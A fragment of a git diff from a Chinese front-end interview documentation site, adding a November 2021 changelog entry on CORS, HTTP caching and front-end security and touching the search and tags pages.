- + \ No newline at end of file diff --git a/readme.md b/readme.md index c71966f..679508c 100644 --- a/readme.md +++ b/readme.md @@ -20,6 +20,12 @@ ## CHANGELOG +#### 2021/11/09 + +- 优化:浏览器跨域 +- 优化:HTTP 缓存机制 +- 优化:前端安全 + #### 2021/11/01 - 优化:浏览器跨域 diff --git a/search.html b/search.html index 71cc34e..aeac805 100644 --- a/search.html +++ b/search.html @@ -7,13 +7,13 @@ Search the documentation | HZFE - 剑指前端 Offer - +

Search the documentation

- + \ No newline at end of file diff --git a/tags.html b/tags.html index 2c6797a..2971d75 100644 --- a/tags.html +++ b/tags.html @@ -7,13 +7,13 @@ Tags | HZFE - 剑指前端 Offer - + - + \ No newline at end of file